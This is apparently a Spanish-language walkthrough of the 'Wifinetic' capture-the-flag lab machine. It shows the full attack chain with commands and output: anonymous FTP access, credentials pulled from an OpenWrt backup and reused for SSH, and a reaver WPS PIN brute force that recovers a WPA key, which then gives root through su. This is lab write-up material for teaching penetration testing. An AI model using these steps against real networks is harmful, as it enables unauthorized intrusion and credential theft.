Wifinetic - Writeup

RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo de puertos con nmap:

```
PORT   STATE SERVICE    REASON         VERSION
21/tcp open  ftp        syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp          4434 Jul 31  2023 MigrateOpenWrt.txt
| -rw-r--r--    1 ftp      ftp       2501210 Jul 31  2023 ProjectGreatMigration.pdf
| -rw-r--r--    1 ftp      ftp         60857 Jul 31  2023 ProjectOpenWRT.pdf
| -rw-r--r--    1 ftp      ftp         40960 Sep 11  2023 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r--    1 ftp      ftp         52946 Jul 31  2023 employees_wellness.pdf
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.11
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; pr
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQ
pkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+
/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbes
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBx
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
53/tcp open  tcpwrapped syn-ack ttl 63
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Vamos a descargarnos los archivos a los que podemos acceder por FTP con el usuario anonymous:

```
MigrateOpenWrt.txt
ProjectGreatMigration.pdf
ProjectOpenWRT.pdf
backup-OpenWrt-2023-07-26.tar
employees_wellness.pdf
```

Son 4 PDFs y un archivo comprimido. Tras leer los PDFs he conseguido localizar 2 posibles nombres de usuario:

Samantha Wood

HR Manager

samantha.wood93@wifinetic.htb

Oliver Walker

Wireless Network Administrator

olivia.walker17@wifinetic.htb

Como no sabemos las credenciales vamos a seguir aplicando el reconocimiento. Vamos a descomprimir el archivo con "tar" y vemos lo que tiene en su interior:

```
└─$ tree -a .
.
├── config
│   ├── dhcp
│   ├── dropbear
│   ├── firewall
│   ├── luci
│   ├── network
│   ├── rpcd
│   ├── system
│   ├── ucitrack
│   ├── uhttpd
│   └── wireless
├── dropbear
│   ├── dropbear_ed25519_host_key
│   └── dropbear_rsa_host_key
├── group
├── hosts
├── inittab
├── luci-uploads
│   └── .placeholder
├── nftables.d
│   ├── 10-custom-filter-chains.nft
│   └── README
├── opkg
│   └── keys
│       └── 4d017e6f1ed5d616
├── passwd
├── profile
├── rc.local
├── shells
├── shinit
├── sysctl.conf
├── uhttpd.crt
└── uhttpd.key
```

Como vemos un archivo llamado "passwd" vamos a ver su contenido:

```
└─$ cat passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
netadmin:x:999:999::/home/netadmin:/bin/false
```

Nos revela el nombre de usuario "netadmin". Vamos a leer todos los archivos de configuracion para ver si contienen alguna credencial:

```
config login
        option username 'root'
        option password '$p$root'
        list read '*'
        list write '*'
```

Probamos conectarnos por SSH con esas crendenciales:

```
└─$ ssh root@10.10.11.247
root@10.10.11.247's password:
Permission denied, please try again.
root@10.10.11.247's password:
Permission denied, please try again.
```

En los archivos de configuracion vemos otra posible credencial:

```
config wifi-iface 'wifinet1'
        option device 'radio1'
        option mode 'sta'
        option network 'wwan'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'
```

Vamos a probar si podemos conectarnos con el usuario "netadmin" con esta credencial:

```
└─$ ssh netadmin@10.10.11.247
netadmin@10.10.11.247's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 12 Nov 2024 02:23:55 PM UTC

  System load:            0.02
  Usage of /:             65.5% of 4.76GB
  Memory usage:           6%
  Swap usage:             0%
  Processes:              227
  Users logged in:        0
  IPv4 address for eth0:  10.10.11.247
  IPv6 address for eth0:  dead:beef::250:56ff:feb0:2fe7
  IPv4 address for wlan0: 192.168.1.1
  IPv4 address for wlan1: 192.168.1.23

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Nov 12 14:09:08 2024 from 10.10.14.11
netadmin@wifinetic:~$ whoami
netadmin
```

ESCALADA DE PRIVILEGIOS

SI vamos a ver las capabilities que tenemos con este usuario vemos el binario "reaver":

```
netadmin@wifinetic:/home$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep
```

Reaver es una herramienta utilizada en hacking de redes Wi-Fi que permite explotar vulnerabilidades en el sistema WPS (Wi-Fi Protected Setup). Su objetivo principal es realizar un ataque de fuerza bruta sobre el PIN WPS de un router, enviando una serie de solicitudes para establecer la conexión a través de este sistema. Al encontrar el PIN correcto, Reaver obtiene acceso al router, lo que permite recuperar la clave de la red Wi-Fi (WPA/WPA2) asociada.

Reaver requiere de una interfaz en modo monitor que permite capturar todos los paquetes que viajan por el aire. Vemos que tiene una interfaz configurada en modo monitor:

```
mon0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 02-00-00-00-02-00-30-3A-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 63282  bytes 11146336 (11.1 MB)
        RX errors 0  dropped 63048  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Podemos listar las interfaces inhalambricas con el comando "iw dev":

```
netadmin@wifinetic:/home$ iw dev
phy#2
        Interface mon0
                ifindex 7
                wdev 0×200000002
                addr 02:00:00:00:02:00
                type monitor
                txpower 20.00 dBm
        Interface wlan2
                ifindex 5
                wdev 0×200000001
                addr 02:00:00:00:02:00
                type managed
                txpower 20.00 dBm
phy#1
        Unnamed/non-netdev interface
                wdev 0×1000000a3
                addr 42:00:00:00:01:00
                type P2P-device
                txpower 20.00 dBm
        Interface wlan1
                ifindex 4
                wdev 0×100000001
                addr 02:00:00:00:01:00
                type managed
                txpower 20.00 dBm
phy#0
        Interface wlan0
                ifindex 3
                wdev 0×1
                addr 02:00:00:00:00:00
                ssid OpenWrt
                type AP
                channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
                txpower 20.00 dBm
```

Vemos que la interfaz "wlan0" esta configurada como "AP" (Access Point). Vamos a probar a realizar un ataque de fuerza bruta sobre el WPS del AP "wlan0" con la herramienta "Reaver". Para ejecutar "Reaver" tenemos que espeficicarle en nombre de la interfaz en modo monitor y la mac del AP:

```
netadmin@wifinetic:/home$ reaver -i mon0 -b 02:00:00:00:00:00 -vv

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 02:00:00:00:00:00
[+] Switching mon0 to channel 1
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
[+] Sending association request
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'
[+] Nothing done, nothing to save.
```

Conseguimos la contraseña del AP wlan0 en texto claro, vamos a probar si esta tambien es la contraseña del usuario root:

```
netadmin@wifinetic:/home$ su root
Password:
root@wifinetic:/home# whoami
root
```